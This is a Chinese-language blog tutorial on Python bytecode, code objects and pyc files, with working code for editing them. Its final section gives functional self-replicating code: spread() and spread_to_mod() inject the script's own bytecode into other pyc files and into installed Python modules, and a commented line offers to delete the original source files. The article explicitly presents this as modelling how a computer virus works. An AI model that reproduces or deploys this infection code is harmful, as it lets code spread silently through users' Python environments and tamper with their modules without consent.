Python pyc文件 bytecode 字节码详解，及插入、编辑

Python中的字节码(bytecode)是一种数据类型。PyInstaller, py2exe等库会把编译生成的字节码打包进exe中。掌握字节码的知识, 对于PyInstaller打包exe的反编译, 以及源代码的保护是十分有用的。

下篇: Python pyc文件 bytecode的压缩, 加壳和脱壳解析

字节码基础知识

在Python中, 字节码是一种独特的数据类型, 常存在于用python写成的函数中。先放示例:

>>> import dis
>>> def f(x):print('hello',x)

>>> type(f.__code__)
<class 'code'>
>>> f.__code__.co_code
b't\x00d\x01|\x00\x83\x02\x01\x00d\x00S\x00'
>>> dis.dis(f)
  1           0 LOAD_GLOBAL              0 (print)
              2 LOAD_CONST               1 ('hello')
              4 LOAD_FAST                0 (x)
              6 CALL_FUNCTION            2
              8 POP_TOP
             10 LOAD_CONST               0 (None)
             12 RETURN_VALUE
>>> 

上述示例中f.__code__就是bytecode对象, f.__code__.co_code就是字节码的二进制部分, 通过dis模块可以反编译、分析这些字节码。

Python执行字节码的原理

类似Java的虚拟机, Python执行字节码的原理类似于一个CPU, 不断执行指令。字节码就相当于一个汇编语言。
以上面反编译的字节码为例，LOAD语句把print(), 字符串hello和变量x加入一个栈。
然后执行CALL_FUNCTION, 把栈里面的函数和参数出栈, 然后调用这个函数。

LOAD_CONST语句把None加入栈, 然后RETURN_VALUE把None返回, 也就是调用函数f()最终返回的结果是None。(返回一个值也是所有字节码必须做的)

为什么使用字节码

Python解释执行代码时, 会首先将原始的源代码翻译成bytecode形式, 再直接执行bytecode, 以提高性能。
如果py文件不经过编译, 直接执行, 类似shell脚本, 那么只会降低Python执行的速度。
如果py文件编译成机器码, 类似C语言, 由于不同平台使用的不是同一种机器码, 就失去了Python跨平台的特性。
因此作者认为, 先翻译成字节码再执行, 是Python等脚本语言最佳的选择。

字节码对象的结构

前面提到的f.__code__就是一个字节码对象。下面是字节码对象所有的属性:

(在 Python 3.8+中, 增加了属性 co_posonlyargcount)
如果你感兴趣, 在Python官方文档中有更详细的字节码的介绍。

字节码和pyc文件的关系

任意一个bytecode对象都可以被存储到一个pyc文件中。类似于pickle模块, pyc文件可以完整保存一个字节码对象。
Python执行pyc文件时, 会首先从pyc文件中还原bytecode对象, 然后再执行这个bytecode。

Python常常会把py文件编译成pyc文件，存放在__pycache__目录中。(不信你看Python的安装目录里面的Lib文件夹中, 就有__pycache__目录, 里面有很多的pyc文件。)

另外, PyInstaller, py2exe等库会把编译生成的字节码打包进exe中。

包装字节码

在python中, bytecode对象的属性是不可修改的。如:

>>> def f():pass
>>> f.__code__.co_code = b''
Traceback (most recent call last):
 ... ...
AttributeError: readonly attribute

为了使bytecode对象更易于使用, 需要用到pyobject这个库中的Code类，这在后面的代码会用到。pyobject库可以通过pip install pyobject安装。

插入、修改字节码

我们的目标是将一个code对象插入另一个code对象中, — — 就像在DNA中插入片段。
这样, 原先的code对象被执行时, 会自动捆绑执行另一个code对象。
首先, 将py,pyc文件转换为Code对象:

from inspect import iscode
from pyobject import Code
import marshal,os,sys
try:
    from importlib._bootstrap_external import MAGIC_NUMBER
except ImportError:
    from importlib._bootstrap import MAGIC_NUMBER

def extract_file(filename):
    # 将py,pyc文件转换为Code对象
    code=open(filename,'rb').read()
    if filename.endswith('.pyc'):
        code=code[16:] if code[16]==227 else code[12:]
        return Code(marshal.loads(code))
    else: # .py文件
        return Code(compile(code,__file__,'exec'))

再开始插入代码。原理是先用待插入的bytecode定义一个函数,
然后, 在目标bytecode末尾, 插入一段代码, 调用这个函数, 达到插入的目的。

def to_b(int):
    return int.to_bytes(1,'big')

def insert_to_code(target,code_):
    # 将code_插入target对象 (相当于捆绑code_和target) !!!
    # 定义函数部分的反编译
    #          0 LOAD_CONST               0 (<code object f at ...>)
    #          2 LOAD_CONST               1 ('f')
    #          4 MAKE_FUNCTION            0
    #          6 STORE_NAME               0 (f)

  #2           8 LOAD_NAME                0 (f)
  #           10 CALL_FUNCTION            0
  #           12 POP_TOP
  #           14 LOAD_CONST               2 (None)
  #           16 RETURN_VALUE
    co = b'''d%s\
d%s\
\x84\x00\
Z%s\
e%s\
\x83\x00\
\x01\x00\
d%s\
S\x00'''
    
    fname='f'
    # !!!
    target.co_consts+=(code_._code,fname)
    co_id,n_id=len(target.co_consts)-2,len(target.co_consts)-1
    target.co_names+=(fname,)
    f_id=len(target.co_names)-1

    # 找出co_consts中None的索引, 用于在插入的bytecode最后返回None
    none_id=target.co_consts.index(None)
    # 组装要插入的一段bytecode
    co = co % (to_b(co_id),to_b(n_id),
               to_b(f_id),to_b(f_id),to_b(none_id))

    # 去除原先bytecode中返回None的末尾
    co_ret_none=b'd%sS\x00' % to_b(none_id)
    # 将组装好的bytecode插入到target对象
    target.co_code=target.co_code.replace(co_ret_none,b'') + co # !!!
    return target

然后, 将修改过的bytecode保存为pyc文件:

def dump_to_pyc(pycfilename,code):
    # 制作pyc文件
    with open(pycfilename,'wb') as f:
        # 写入 pyc 文件头
        if sys.version_info.minor >= 7:
            pycheader=MAGIC_NUMBER+b'\x00'*12
        else:
            pycheader=MAGIC_NUMBER+b'\x00'*8
        f.write(pycheader)
        # 写入bytecode
        marshal.dump(code._code,f)

总结

用上述函数, 可以制作出能自我复制的程序。
延伸阅读：Python 设计自我复制程序，模拟计算机病毒工作原理

MARK=b"#####MyPython####"

def find_mark(code):
    # 判断MARK (标记)是否已在code中
    return MARK in marshal.dumps(code._code)

def extract_self(co=None):
    # 提取程序自身的代码, 使用递归
    if not co:co=extract_file(__file__)
    for value in co.co_consts:
        if isinstance(value,bytes) and MARK in value:
            return co
        elif iscode(value):
            value=Code(value)
            co=extract_self(value)
            if co is not None:return co

def spread(target):
    # 将自身 (本文件) 插入文件target !!!
    self=extract_self()
    co=extract_file(target)
    if not find_mark(co):
        co=insert_to_code(co,self)
        dump_to_pyc(os.path.splitext(target)[0] + '.pyc',co)
        # print(co._code.co_code)
        return co
    else:return None

def spread_to_mod(modname):
    # 插入到某个模块
    file=__import__(modname).__file__
    co=spread(file)
    #if co and not file.endswith('.pyc'):os.remove(file) # 可删除原先的py文件

target='test.pyc'
co=spread(target)
# print('hello world') # 用于测试

此外, Python的字节码这一特性有着广泛的用途, 例如pyc文件的压缩、加密, pyc文件的防止反编译等。
(参见下篇: Python pyc文件 bytecode的压缩, 加壳和脱壳解析)
关于作者自制的字节码的压缩、混淆、加壳和脱壳、混淆工具，参见：pyc-zipper · GitHub
欢迎点赞、收藏！